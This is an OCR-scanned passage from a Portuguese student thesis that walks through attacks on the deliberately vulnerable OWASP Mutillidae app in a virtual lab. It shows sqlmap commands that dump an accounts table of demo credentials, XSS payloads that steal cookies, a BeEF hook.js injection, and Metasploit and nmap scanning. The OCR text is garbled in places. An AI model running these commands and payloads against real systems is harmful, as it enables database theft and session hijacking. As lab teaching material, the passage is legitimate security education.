normalmente uma URL que ja se sabe ou desconfia que seja vulneravel ao ataque do tipo
SQL Injection;

o --data: indica os dados passados ao servidor pelo método POST;

o --banner: opcdo que indica o retorno de informagdes sobre o0 SGBD do

sistema “Mutillidae”.
33



A forma como foram coletados os contetidos das opgdes “--url” e “--data” sdo
explicadas a sequir. Como visto anteriormente, 0 link
“http://192.168.56.104/mutillidae/index.php?page=login.php” ¢ vulneravel ao ataque de
SQL Injection. Desta vez o contetido de “--data” foi obtido por meio de um proxy, o Burp
Suite©. Este é instalado por padrdo no VM atacante. Para inicia-lo, apenas € necessario
digitar “burpsuite” no terminal. Uma opgdo essencial a ser configurada ¢ o proxy no
Firefox®, que é o navegador padrao instalado na VM atacante. O endereco de interface do
proxy Burp Suite© pode ser verificado na aba “Proxy” e em sua aba interna “Options”,

como mostrado na figura 11.
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root@kali: ~ - o x

File Edit View Search Terminal Help
:~# burpsuite
Jun 18, 20818 9:58:02 AM java.uti

INFO: Created

Burp Suite Community Edition v1.7.33 - Temporary Project @ ® O

Burp Intruder Repeater Window Help

Repeater T Segquencer T Decoder T Comparer T Extender T Project options T User opticns T Alerts
Target Proxy Spider Scanner T Intruder

[ Intercept T HTTP history T WebSockets history T Opticns ]

.
@ N

(@ Burp Proxy uses listeners to receive incoming HTTP reguests from your browser. You will need to configure your browser to use one of the li

| Add j Running | Interface | Inwisible | Redirect | Certificate |
&) 127.0.0.1:8080 Per-host
| Edit j

| Remove j

Each installaticn of Burp generates its own CA certificate that Proxy listeners can use when negotiating S5L connections. You can import or
or ancther installation of Burp.

| Impert f export CA certificate J | Regenerate CA certificate j

2

(@) Use these settings to control which reguests are stalled for viewing and editing in the Intercept tab.

[ Intercept requests based on the following rules:

| Add j Enabled | Operator | Match type | Relationship | Condition |
- & File extension Does not match [~gifs|~jpgs| "~ pngs|~csss|"js5| ~icos)
| Edit j O or Regquest Contains parameters
O or HTTP method Does not match (get|post)
| Remove j J And URL I in target scope

[

| Down ]

) Auvtematically fix missing or superflucus new lines at end of request

[ Automatically update Content-Length header when the reguest is edited

4l

Figura 11 - Executar o Burp Suite.
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€ ) Firefox | about:preferences#advanced @ ||Q Search w B ¥ @ =

[ Most Visited~ [FllOffensive Security Sy Kali Linux s, Kali Docs " Kali Tools  Exploit-DB Wy Aircrack-ng glKali Forums “§ NetHunter =

Connection Settings

Configure Proxies to Access the Internet
No proxy
Auto-detect proxy settings for this network
Use system proxy settings
Manual proxy configuration:
HTTP Proxy:| 127.0.0.1
Use this proxy server for all protocols
SSL Proxy:
FTP Proxy:
SOCKS Host:
SOCKSv4 (@ SOCKS v5
No Proxy for:
localhost, 127.0.0.1

Example: .mozilla.org, .net.nz, 192.168.1.0/24
Automatic proxy configuration URL:

Do not prompt for authentication if password is saved
Proxy DNS when using SOCKS v5

Help Cancel

Figura 12 - Configurar o Burp Suite no Firefox.

Uma vez configurado o proxy (figura 12), as requisicdes do Firefox® passardo
sempre pelo Burp Suite© antes de chegar ao destino - o servidor no qual esta hospedado o
Mutillidae. Para capturar e visualizar o conteido da requisicao, deve-se digitar o nome de
um usuario e uma senha qualquer na pagina de login e clicar no botéo “Login”. Como pode
ser visto na figura 13, o valor atribuido a opgao “--data” do comando SQLmap esta situado

na Ultima linha.
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Burp Suite Community Edition v1.7.33 - Temporary Project e ® O

Burp Intruder Repeater Window Help

Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options T Alerts

Target I T Spider T Scanner Intruder

_[ T HTTP histary TWEbSockeTs histary T Qptions |

|__/J Request to http://192.168.56.104:80

| Forward | Drop | | Interceptis on | | Action | |=.j 2

Raw | Params THeaders THex |

POST /mutillidae/index.php?page=login.php HTTP/1.1 "
Host: 192.168.56.1084 ™
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0

Accept: textshtml,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8

Accept-Language: en-US,en:g=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.56.104/mutillidae/index. php7page=Llegin.php

Cookie: showhints=1; PHPSESSID=s5gl257lu3bShlfod@ppdsfegh®; acopendivids=swingset,jotto,phpbb2, redmine;
acgroupswithpersist=nada

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 58

i

L2 L= e (o [rpesearch erm 0 matches

username=joaokpassword=senha&login-php-submit-button=Login

Figura 13 - Captura de requisi¢ao pelo proxy Burp Suite

Pode-se verificar a saida do comando “sqlmap --
url="http://192.168.56.104/mutillidae/index.php?page=Ilogin.php" -
data="username=joao&password=senha&login-php-submit-button=Login" --banner” na
figura 14, mas apenas a parte do banner, ja que a saida é extensa. Verifica-se que o sistema
operacional do servidor € um Linux Ubuntu 10.04. Sao usados também o Apache 2.2.14 e
0 PHP 5.3.2. Para o servidor de banco de dados € usado um Linux Ubuntu, também com
um MySQL 5.0.

root@kali: ~ @ ® 0
File Edit View Search Terminal Help

veb server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
eb application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS operating system: Linux Ubuntu

back-end DBMS: MySQL >= 5.0

banner: '5.1.41-3ubuntul2.6-log"'

[*¥] shutting down at 14:37:57

~#

Figura 14 - Saida do comando SQLmap com a opg¢éo --banner

Como foi feito 0 acesso ao SGBD com sucesso, pode-se recuperar 0s nomes das
tabelas e dos bancos de dados no SGBD com o comando “sqlmap --

url="http://192.168.56.104/mutillidae/index.php?page=Ilogin.php™ --

37



data="username=joao&password=senha&login-php-submit-button=Login" --tables”,
como pode ser visto na figura 15 mostra apenas a saida correspondente ao banco de dados
e tabelas do sistema Mutillidae, pois a saida é extensa.

root@Kkali: ~ e ® O
File Edit View Search Terminal Help

Database: mutillidae
[11 tables]

accounts
balloon tips
blogs table
captured data
credit cards
help texts
hitlog

level 1 help include files
page help

page hints

pen test tools

|
|
|
|
|
|
|
|
|
|
|
+

Figura 15 - Nome do banco de dados e respectivas tabelas

Com o nome do banco de dados e tabelas, pode-se inferir que a tabela “accounts” é
importante e, por isso, pode-se fazer o download, ou SQL dump, dos registros dessa tabela
executando 0 comando “sqlmap --
url="http://192.168.56.104/mutillidae/index.php?page=Ilogin.php™ --
data="username=joao&password=senha&login-php-submit-button=Login" -D mutillidae
-T accounts --dump”. A opgao “-D” indica o banco de dados e a ““-T” a tabela do qual seréo
retirados os registros e sera feito o download - este indicado com a opgdo “--dump”. O

resultado do comando pode ser visto na figura 16.
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File Edit View Search Terminal

Database: mutillidae
able: accounts
[19 entries]

adrian
john
jeremy
bryce
samurai
jim

bobby
simba
dreveil
scotty
cal
john
kevin
dave
patches
rocky

Figura 16 — SQL dump da tabela “accounts” do banco de dados “mutillidae”

root@Kkali: ~

Help

somepassword
monkey
password
password
samurai
password
password
password
password
password
password
password
42

set
tortoise
stripes
user
pentest

_____________________________ +
mysignature
----------------------------- +

Zombie Films Rock!

I like the smell of confunk
d1373 1337 speak

I Love SANS

Carving Fools

Jim Rome is Burning

Hank is my dad

I am a super-cat
Preparation H

Scotty Do

Go Wildcats

Do the Duggie!

Doug Adams rocks

Bet on S.E.T. FTW

meow

treats?

User Account

Commandline KungFu anyone?

Pode-se realizar o mesmo ataque utilizando a opgao “-r” do sqlmap, que carrega as

informacdes de um arquivo com os dados de uma requisicdo HTTP. Para isso, deve-se

salvar o contetido da requisi¢cdo HTTP capturada no Burp Suite (figura 17) em um arquivo.

Para esse trabalho foi salvo no arquivo “/tmp/sqlmap.request”, como mostrado na figura

18. Logo apds, pode-se executar o comando “sqlmap -r /tmp/sqlmap.request -D mutillidae

-T accounts --dump” para obter 0 mesmo resultado da figura 16.
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Burp Suite Community Edition v1.7.33 - Temporary Project @ ® O

Burp Intruder Repeater Window Help

Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options T Alerts
Target T T Spider T Scanner T Intruder

J T HTTF history T WebSockets history T Options |

| _/J Reguest te http://192.168.56.101:80

| Forward j | Drop J | Intercept is en | | Action |£] |:J

J Faaw T Farams T Headers TE|

POST /mutillidae/index_php?page=login._php HTTP/1.1 "
Host: 192_168.56.1681 .
User-Agent: Mozillas5.8 (X11; Linux xB6_64; rv:52.8) Gecko/20188181 Firefox/52.8
Accept: text/html application/xhtml+xml, application/=ml;q=0.9, */%;q=0_8
Accept-Language: en-US, en;g=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.56.181/mut1llidae/index. php?page=login.php

Cookie: acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada;
PHPSESSID=38aa45e8d6e4b229804bd15f94%ef99d

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 49

username=&password=&login-php-submit-button=Login

e
v

| 2 J| = J| + H = J Type a search term 0 matches

I

Figura 17 - SOL dump da tabela “accounts” do bando de dados “mutillidae” usando a op¢do “-r”

root@kali: ~ - O x

File Edit View Search Terminal Help
:~# gedit /tmp/sqlmap.request

Open « || & *sqlmap.request Save = ®e@ @

ftmp
POST /mutillidae/index.php?page=login.php HTTP/1.1

Host: 192.168.56.101

User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.56.101/mutillidae/index.php?page=login.php

Cookie: acopendivids=swingset,jotto,phpbb2, redmine; acgroupswithpersist=nada;
PHPSESSID=38aa45e8d6e4b229804bd15f949eT99d

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-Tform-urlencoded

Content-Length: 49

username:&password:&login-php-submit-button:Logid

Plain Text + Tab Width: & - Ln 14, Col 50 - INS

Figura 18 - Criar arquivo para usar no SQL map com a flag "-r".
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4.3 Cross-Site Scripting (XSS)

O préximo ataque a ser analisado chama-se Cross-Site Scripting (XSS), que é um
tipo de injecédo de codigo malicioso. Ele ocorre quando um atacante usa uma aplicacdo web
para enviar um codigo malicioso, geralmente na forma de script para um outro usuario [45].
Existem trés tipos de ataques XSS: armazenado, refletido e baseado em DOM.

O XSS armazenado geralmente ocorre quando uma entrada de usuario é
armazenada no servidor da aplicagdo em um banco de dados, um férum, um campo de
comentario, etc. Em um momento posterior, a vitima consegue recuperar o dado
armazenado, carregando uma pagina de comentarios do site por exemplo, sem o devido
tratamento para que 0 mesmo seja seguro para ser mostrado no navegador [46].

Ja o XSS refletido ocorre quando uma entrada de usuério é imediatamente retornada
por uma aplicacdo web em uma mensagem de erro, resultado de uma busca, ou qualquer
resposta que inclua parte ou toda entrada provida pelo usuario como parte da requisicao,
sem o0 devido tratamento para que Seja seguro mostrar no navegador, e sem ser
permanentemente armazenada [46].

Por fim, 0 XSS baseado em DOM tem por caracteristica que todo o fluxo de dados
do ataque acontece no navegador, ou seja, ndo héa trafego de dados com o servidor [46].

O primeiro exemplo de ataque XSS é executado contra a pagina “DNS Lookup” do
site Mutillidae, hospedado na VM vitima, como mostrado na figura 19, hospedado na VM
vitima. Para testar se a pagina ¢ passivel de ser atacada por XSS, foi digitado “teste”, e
verificou-se que o dado digitado foi retornado da mesma forma, como pode ser visto na
figura 20. Dessa forma, foi digitado o cddigp em Java Script®
“<script>alert(document.cookie)</script>" e enviado para o servidor clicando no botao
“Lookup DNS”. O resultado pode ser visto na figura 21. O cédigo injetado no ataque XSS,
exibe uma janela do tipo pop-up com as informacdes de cookie armazenadas no browser.

O ataque demonstrado é um XSS refletido.
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Figura 19 - P4gina a ser atacada com XSS refletido.
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E Kali-Linux-2018.1-vbox-amdé4 (Inicial upgraded 10-05-2018) [Running] - Oracle VM VirtualBox bl O x

File Machine View Input Devices Help

Applications - Places © Firefox ES : y )
Mozilla Firefox e e O
¥ http://192...lookup.php % | +
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fiE Most Visited ~ ensive Securi ali Linux ali Docs ali Tools == Exploit- ircrack-n ali Forums etHunter »
fiF Most Visited Wl Offensive Si ity Kali Li Kali D Kali Tool: Exploit-DB Ai k-ng mdKali F NetH

®% OWASP Mutillidae 1I: Web Pwn in Mass
Production
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Whit
’ [ Results for 1011 ]
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~

Figura 20 - Verifica se a pagina e passivel de ser atacada com XSS.
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i Kali-Linux-2018.1-vbox-amd64 (Inicial upgraded 10-05-2018) [Running] - Oracle VM VirtualBox - O *

File Machine View Input Devices Help

o
Mozilla Firefox e ® O

/ € Connecting... x\k+
{:i-.}®|192.168.56.104fmutiLLidae.findex.php?page:dns—Lookup.php | x || Search %+ B8 &+ @ =

[ Most Visitedv JllOffensive Security e Kali Linux “e Kali Docs S Kali Tools # Exploit-DB Wy Aircrack-ng gKali Forums e NetHunter »

showhints=1; PHPSESSID=5g|257lu3b5h1fodOppds9egho;
acopendivids=swingset,jotto,phpbb2,redmine;
acgroupswithpersist=nada

Read 192.168.56.104

DR S W 3 G ) right

Figura 21 - Saida do teste para XSS com um codigo Java Script.

Um exemplo de ataque XSS armazenado pode ser visto quando se digita o texto
“<hl>Hey!</h1>" no campo de comentario do sistema Mutillidae (figura 22). O resultado
¢ uma mudanca na forma como o texto é exposto, pois 0 mesmo foi armazenado e
recuperado do banco de dados sem tratamento, como pode ser visto na figura 23. Para
verificar se o ataque foi realmente armazenado no banco de dados, basta abrir a pagina em

que sdo mostrados todos os blogs do site Mutillidae (figura 24).
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Version: 2.6.24 Security Level: 0 (Hosed)

Hints: Enabled (1 - 5crlpt Klddle)
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Figura 22 - Campo da pagina para realizar o ataque XSS armazenado.

e« OWASP Mutillidae II: Web Pwn in Mass Production

Version: 2.6.24 Security Level: 0 (Hosed) Hints: Enabled (1 - 5crlpt Klddle) Not Logged In
egister Toggle Hints Show Popup Hints Toggle Security Enforce SSL. Reset DB View Log View Captured Data

[ Welcome To The Blog )

o (@ v e
) A

Web Services 4
— , Hints

[one |
[ Add blog for anonymous J

i [Note: <b>,<i> and <u> are now allowed in blog entrles}

—
Getting Started:
Project
Whitepaper

K™ Save Blog Enti
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You .Y
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——
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Tutorials
1 |anonymous 2018-06-18 15:37:06 Hey!
e 2 [anonymous 2009-03-01 22:27:11 An anonymous blog? Huh?

Figura 23 - Resultado do ataque XSS armazenado.
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Version: 2.6.24 Security Level: 0 (Hosed) Hints: Enabled (1 - 5crlpt Klddle) Not Logged In
Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSI. Reset DB View Log View Captured Data

.
[ View Blogs J
Back (@ Help me:
‘
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@ Add To Your Blog
[ Sselect Author and Click to View Blog |
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‘ 1 Janonymous/y 5 37,06 Hey!
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‘%lg 3 |dave 52:31:13 Social Engineering is woot-tastic
. 2009-03-01
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Tutorials
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5 |kevin 52:31:13 You should take SANS SEC542
2009-03-01 ,
Q 6 |asprox 52:31:13 Fear me, for | am asprox!

Figura 24 - Resultado do ataque XSS armazenado mostrado em outra pagina do site.

A BeEF© (The Browser Exploitation Framework) € uma ferramenta para teste de
penetracdo, que foca no navegador web [47]. Portanto, ela pode ser usada para realizar
ataques XSS. Basta digitar “beef-xss” no terminal do Kali Linux® para executa-la, pois a
mesma ja é instalada nessa distribuicdo Linux© por padrdo. Apés a execu¢do no terminal,
¢ aberta a URL “http://127.0.0.1:3000/ui/panel” no Firefox®, para autenticar digite “beef”
tanto para o campo “Username” quanto para o campo “Password”. Existem basicamente
duas URLs importantes para entender o funcionamento do BeEF, a
“http://127.0.0.1:3000/ui/panel” e a “http://<[P>:3000/hook.js” (“<IP>" corresponde ao
endereco IP. Para infectar o navegador da VM Kali Linux®, substitua “<IP>" por 127.0.0.1
ou substitua pelo endereco IP da saida do comando “ifconfig”). A primeira URL
corresponde ao codigo em Java Script© que infecta a vitima, enquanto a segunda
corresponde ao painel de interface do usuario para controlar as maquinas infectadas (figura
25).
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root@kali: ~ — I T x

File Edit View Search Terminal Help

rvices are s el
You might ne 0 re sh your b r once it opens.
http://127.8.0.1:3000/ui/panel

: <script src="http://<IP>:3000/hook.js"></script=

2 : |ﬁ:‘-crip‘c SAgeelhttp: //127.0.0.1:3000/hook. jsEEtSE-Te i ye

BeEF Control Panel - Mozilla Firefox (— I < ]
| BeEF Control Panel x \+
€ @ | 127.0.0.1:3000/ui/pane E3 Search wB 3§ & 9 =
fi5 Most Visited~ Jl| Offensive Security S Kali Linux " Kali Docs “& Kali Tools = Exploit-DB T Aircrack-ng »

# Betr 0.4.7.0-apha | Submit Bug | Logout

Hooked Browsers
|__]Online Browsers
|__1Offline Browsers

Getting Started Logs

—eEF

THE BROWSER EXPLOITATION FRAMEWORK PROJECT

Official website: http.//beefproiect. com/

Getting Started
‘Welcome to BeEF!

Before being able to fully explore the framework you wil have to *hook” a browser. To begin with you can
point a browser towards the basic demo page here, or the advanced version here.

If you want to hook ANY page (for debugging reasons of course), drag the following bookmarklet link
into your browser’s bookmark bar, then simply click the shortcut on ancther page: Hook Me!

S o Lels) After a browser is hooked into the framework they will appear in the "Hooked Browsers' panel on the >

Figura 25 - Execucéo ferramenta de teste de penetracio BeEF.

A infeccdo do navegador da VM Kali Linux® decorre de um ataque XSS reflexivo
com o texto “<script src="http://127.0.0.1:3000/hook.js"></script>", injetado na pagina de
“DNS LOOKUP” do sistema Mutillidae©, mostrado na figura 19. Logo apés, pode-se
visualizar no painel de interface do usuario do BeEF que a pagina relativa ao navegador
infectado aparece na aba “online”.

Clicando no enderego IP correspondente aparecem algumas abas de informagdes
sobre o navegador infectado, como “Details”, “Logs” e “Commands”. A aba “Details”
mostra informacdes do navegador e plugins. Enquanto a “Logs” mostra informagdes sobre
atividade do navegador e “Commands” mostra informacdes sobre ataques disponiveis.

Ao clicar na aba “Commands” e, em seguida, nas op¢des de ataques, pode-se
visualizar que existem cores associadas a cada ataque. O verde indica que o ataque tem
uma probabilidade muito alta de ser executado com sucesso, 0 amarelo adverte uma
expectativa menor e vermelho indica uma perspectiva grande de insucesso, como pode ser

visto na figura 26.
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B
| BeEF Control Panel x | & http://192...lookup.php x

€ | ® | 127.0.0.1:3000/ui/panel

[ Most Visited~ FllOffensive Security “ Kali Linux “& Kali Docs

Hooked Browsers

Getting Started %[ Logs
4 =5 Online Browsers
45 192.168.56.105 Details Logs Commands R
7 O 127001 Module Tree I
[_] Offiine Browsers Search
edll
4 =5 Browser (53) -~

> [C] Hooked Domain (25)
Detect Foxit Reader
Detect LastPass
Detect QuickTime
Detect RealPlayer
Detect Siverlight
Detect Toolbars
Detect Unity Web Player
Detect Windows Media P
Play Sound
Remove Hook Element
Unhook
Webcam
Webcam Permission C
Detect Evernote Web Clj
Detect WVLC
Get Visited Domains
Get Visited URLs (Avant
Webcam HTMLS

& Detect Popup Blocker
@ Detect ActiveX
@ Detect Extensions
@ Detect FireBug
@ Detect M5 Office
@ Detect Simple Adblock
@ Detect Unsafe ActiveX
@ Fingerprint Browser (PoC
@ Get Visited URLs
@ Spyder Eye
> [_] Chrome Extensions (8)
> () Debug (9)
» [ Exploits (78) -

(I

Figura 26 - Ataques disponiveis no BeEF para realizar no navegador infectado.

Na aba “Commands” foi escolhida a opg¢ao “Browser->Hooked Domain->Create
Alert Dialog”, que cria uma janela pop-up com uma mensagem especificada para executar

no navegador infectado. A saida é mostrada na figura 27.
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Have | been pwned?

Figura 27 - BeEF execu¢do de um ataque que cria uma janela pop-up no navegador infectado.

4.4 Metasploit

Antes de discutir o terceiro tipo de ataque, Broken Authentication, sera apresentada
a ferramenta Metasploit® com mais detalhes, pois ela é essencial na discusséo do ultimo
tipo de ataque deste trabalho.

O Metasploit® é uma plataforma completa para realizar teste de vulnerabilidade e
executar exploits [48, p. 85]. Ela dispde de 3 versdes: Pro, Community e Framework. A
versdo Pro é indicada para profissionais de seguranca que atuam fazendo testes de
penetracdo, a versdo Community é direcionada para pequenos negocios e estudantes e a
versdo Framework € voltada para desenvolvedores e pesquisadores [49]. Sera usada a
versdo Framework j& instalada por padrdo no Kali Linux® [50]. Execute o comando “apt
update; apt install metasploit-framework™” para atualizacdo da ferramenta. Apds a
atualizacgdo, é necessario inicializar o banco de dados PostgreSQL com o comando “service
postgresql start”. Para verificar se o servico foi executado com sucesso, digite o comando
“service --status-all | grep postgresql” e, se for retornado “[ + ] postgresql”, significa que o

servico foi iniciado corretamente. O comando anterior mostra na tela o status de todos 0s
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Servigos e, apos o simbolo “|”, o software “grep” filtra a saida ¢ mostra apenas as linhas em
que apareca a palavra “postgresql”. Com o PostgreSQL iniciado, ¢ necessario iniciar o
banco de dados do Metasploit® com o comando “msfdb init”. Digite o comando
“msfconsole” para iniciar a ferramenta. Uma vez iniciada, entre com “db _status” para
verificar se a ferramenta esta conectada ao banco de dados como mostra na figura 28.

A ferramenta Metasploit® é dividida em mddulos: exploits, auxiliary, post,
payloads e encoders. O modulo exploits utiliza payloads para se aproveitar de
vulnerabilidades. O médulo auxiliary € composto por exploits auxiliares que ndo possuem
payloads. Payload é o cddigo executado através de um exploit. O modulo post € usado
quando uma determinada vulnerabilidade foi explorada usando um exploit. Encoders séo
cddigos que mapeiam um formato em outro. Por exemplo, pode-se utilizar um encoder para

codificar um c6digo de uma imagem e transforma-lo em caracteres alfanuméricos [51].
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root@Kkali: ~ e ® O

File Edit View Search Terminal Help
:~# service --status-all | grep postgresql
] postgresql
1 thin
:~# service postgresql start
:~# service --status-all | grep postgresql
postgresql

~#
:~# msfdb init
Database already started
[+] Creating database user 'msf'
[+] Creating databases 'msf'
[+] Creating databases 'msf test'
[+] Creating configuration file '/usr/share/metasploit-framework/config/database
.yml'
[+] Creating initial database schema
:~# msfconsole

/ Metasploit! \
=) 7

=[ metasploit v4.16.56-dev
--=[ 1763 exploits - 1006 auxiliary - 306 post
--=[ 536 payloads - 41 encoders - 10 nops
--=[ Free Metasploit Pro trial: http://r-7.co/trymsp

]
]
]
]

> db status
postgresql connected to msf
>

Figura 28 - Iniciar PostgreSQL e o Metasploit®.

Um conceito importante sobre o Metasploit® é o de Workspace, que corresponde
ao espaco reservado para armazenar informacgdes sobre um escopo. Para melhor
entendimento, sera mostrado um ataque completo utilizando Workspace. Inicialmente,
pode-se verificar as opgdes digitando “workspace -h”. Para listar todos os workspaces
digita-se “workspace -v”, percebe-se que existe apenas o “workspace default”. Para
adicionar um novo workspace, que sera chamado de “tcc”, digite “workspace -a tcc” e liste
novamente para confirmar sua criagdo e verificar qual esta selecionado para uso (figura

29). Verifica-se que ja esta selecionado o workspace “tcc”. Porém, se assim nao fosse, para
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seleciona-lo, bastaria digitar “workspace tcc”.

root@Kkali: ~ e ® 0
File Edit View Search Terminal Help

msf > workspace -h

Usage:
workspace List workspaces
workspace -v List workspaces verbosely
workspace [name] Switch workspace
workspace -a [name] ... Add workspace(s)
workspace -d [name] ... Delete workspace(s)
workspace -D Delete all workspaces
workspace -r <old> <new> Rename workspace
workspace -h Show this help information

msf > workspace -v

current name hosts services vulns creds 1loots notes

default 2
tcc (¢}

msf > workspace -a tcc
[*] Added workspace: tcc
msf > workspace -v

orkspaces
name hosts services creds loots notes

tcc 0

Figura 29 - Criacao do workspace tcc.

O Metasploit® possui integragdo com algumas ferramentas. Neste trabalho é
mostrada a integracdo com o Nmap®©. A integracdo consiste na coleta de informacdes do
resultado do comando “db_nmap” e 0 seu armazenamento em tabelas do banco de dados
da ferramenta. Ja se sabe que existe uma VM na mesma rede que a atacante e qual seu
endereco IP. Contudo, isso ndo ocorre em uma situacdo real. Portanto, basta digitar o
comando “db_nmap -sn -n -v --exclude 102.168.56.103 192.168.56.101-200".

Nesse comando, a op¢do “-sn” define um scanning utilizando a ferramenta Ping, a
opcdo “-n” informa para nunca resolver o DNS, a op¢do “-v” mostra informagdes na tela
durante a execu¢do do comando, a opgdo “--exclude <IP>” exclui o endereco <IP> do
scanning e a op¢ao “192.168.56.101-200” procura por maquinas sequencialmente desde

192.168.56.101 até 192.168.56.200 (figura 30). Para verificar todas as op¢6es do comando

52



"db_nmap", digite “db_nmap -h”.

ﬂ Kali-Linux-2018.1-vbox-amd64 (Inicial upgraded 10-05-2018) [Running] - Oracle VM VirtualBox == O X

File Machine View Input Devices Help
Applications + Places v  [] Terminal v Thu 18:06

root@kali: ~
File Edit View Search Terminal Help

msf > db nmap -sn -n -v --exclude 192.168.56.103 192.168.56.101-200
[*] Nmap: Starting Nmap 7.70 ( https://nmap.org ) at 2018-05-17 18:04 EDT
[*] Nmap: Initiating ARP Ping Scan at 18:04
[*] Nmap: Scanning 99 hosts [1 port/host]
[*] Nmap: Completed ARP Ping Scan at 18:04, 1.54s elapsed (99 total hosts)
[*] Nmap: Nmap scan report for 192.168.56.101 [host down]
Nmap: Nmap scan report for 192.168.56.102 [host down]
: Nmap scan report for 192.168.56.104
: Host is up (0.0031s latency).

MAC Address: 08:00:27:82:E4:7C (Oracle VirtualBox virtual NIC)
scan report for 192. .56. down]
scan report for 192. .56. down]
scan report for 192. .56. down]
scan report for 192. .56. down]
scan report for 192. .56. down]
scan report for 192. .56. down]
scan report for 192. ¥56. down]
scan report for 192. w56 down]
scan report for 192. ] ot down]
scan report for 192. .50 down]
scan report for 192. a0 down]
scan report for 192. .56. down]
scan report for 192. ] i down]
scan report 192. .50 down]
scan report 192. .56. down]
scan report 192. 5 % down]
scan report 192. sDb down]
scan report 192. s5b down]
scan report 192. . > down]
scan report 1020 .56. down]
scan report 192. .56. down]
scan report 192. . X down]
scan report 192 a0 down]
scan report - 192. 5506 down]
scan report 192. . . down]
scan report 192. .56. down]
scan report 192. <56 down]
scan report - 192. % % down]
scan report 192 Y50 down]
scan report 192. o down]
scan report 192. a 2 down]
scan report 192 sD06. down]
scan report 192. S0 down]
scan report 192. . X down]
scan report gl S0y down]
scan - 192. .56. down]

PP 2o v P |

GO W o L S Rght

Figura 30 - Saida do comando db_nmap.

Encontrada a VM que estd up, ou seja, que respondeu ao comando “ping” do
scanning do Nmap, basta digitar “db_nmap -F -SS -n -v --reason —open 192.168.56.104”
para fazer um scanning especifico e descobrir 0s servicos e as portas abertas para essa VM
em particular. Explicando o comando anterior, a opgdo “-F” indica que o comando pode
ser executado no modo fast (esse modo verifica as 100 portas mais comuns e pode gerar
varios alarmes indicando um ataque, entretanto, para fins desse trabalho, & mais importante
gue o comando seja executado rapidamente e também que ndo haja nenhuma ferramenta

para detecgéo de ataques no laboratério virtual); “-sS” significa um “Syn scanning” (esse
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método permite determinar o servico em determinada porta de comunicacdo sem
estabelecer uma conexd@o completa [52]); “--reason” indica o motivo do estado atual da
porta, “--open” € para apenas mostrar no resultado os servigos com as portas abertas; e, por
ultimo, o endereco IP da VM encontrada no estado up pela execucao do comando anterior.

A saida desse comando é mostrada na figura 31.

ﬂ Kali-Linux-2018.1-vbox-amdé4 (Inicial upgraded 10-05-2018) [Running] - Oracle VM VirtualBox = O X

File Machine View Input Devices Help
Applications v Places v [ Terminal « Thu 18:08

root@Kkali: ~

File Edit View Search Terminal Help

msf > db nmap -F -sS -n -v --reason —open 192.168.56.104
Nmap: Starting Nmap 7.70 ( https://nmap.org ) at 2018-05-17 18:08 EDT
Nmap: 'Failed to resolve "—open".'
Nmap: Initiating ARP Ping Scan at 18:08
Nmap: Scanning 192.168.56.104 [1 port]
Nmap: Completed ARP Ping Scan at 18:08, 0.07s elapsed (1 total hosts)
Nmap: Initiating SYN Stealth Scan at 18:08
Nmap: Scanning 192.168.56.104 [100 ports]
Nmap: Discovered open port 22/tcp on 192.168.56.104
Nmap: Discovered open port 135/tcp on 192.168.56.104
Nmap: Discovered open port 445/tcp on 192.168.56.104
Nmap: Discovered open port 139/tcp on 192.168.56.104
Nmap: Discovered open port 49156/tcp on 192.168.56.104
Nmap: Discovered open port 8009/tcp on 192.168.56.104
Nmap: Discovered open port 49153/tcp on 192.168.56.104
Nmap: Discovered open port 49152/tcp on 192.168.56.104
Nmap: Discovered open port 3000/tcp on 192.168.56.104
Nmap: Discovered open port 8443/tcp on 192.168.56.104
Nmap: Discovered open port 49154/tcp on 192.168.56.104
Nmap: Discovered open port 3306/tcp on 192.168.56.104
Nmap: Discovered open port 8080/tcp on 192.168.56.104
Nmap: Discovered open port 3389/tcp on 192.168.56.104
Nmap: Completed SYN Stealth Scan at 18:08, 1.15s elapsed (100 total ports)
Nmap: Nmap scan report for 192.168.56.104
Nmap: Host is up, received arp-response (0.00029s latency).
Nmap: Not shown: 86 closed ports
Nmap: Reason: 86 resets
Nmap: PORT STATE SERVICE REASON
Nmap: 22/tcp open ssh syn-ack ttl 128
Nmap: 135/tcp open msrpc syn-ack ttl 128
Nmap: 139/tcp open netbios-ssn syn-ack ttl 128
Nmap: 445/tcp open microsoft-ds syn-ack ttl 128
Nmap: 3000/tcp open ppp syn-ack ttl 128
Nmap: 3306/tcp open mysql syn-ack ttl 128
Nmap: 3389/tcp open ms-wbt-server syn-ack ttl 128
Nmap: 8009/tcp open ajpl3 syn-ack ttl 128
Nmap: 8080/tcp open http-proxy syn-ack ttl 128
Nmap: 8443/tcp open https-alt syn-ack ttl 128
Nmap: 49152/tcp open unknown syn-ack ttl 128
Nmap: 49153/tcp open unknown syn-ack ttl 128
Nmap: 49154/tcp open unknown syn-ack ttl 128
Nmap: 49156/tcp open unknown syn-ack ttl 128
Nmap: MAC Address: 08:00:27:82:E4:7C (Oracle VirtualBox virtual NIC)
Nmap: Read data files from: /usr/bin/../share/nmap
Nmap: Nmap done: 1 IP address (1 host up) scanned in 1.76 seconds
Nmap: Raw packets sent: 110 (4.824KB) | Rcvd: 101 (4.084KB)
>

GO oG () right o

Figura 31 - Saida do comando db_nmap para a VM vitima
Apos a execucdo, pode-se verificar na figura 32 a integracdo do “Nmap” com o

Metasploit® usando os comandos “hosts” e “services”, que mostra as VMs e seus servigos

para o workspace atual.
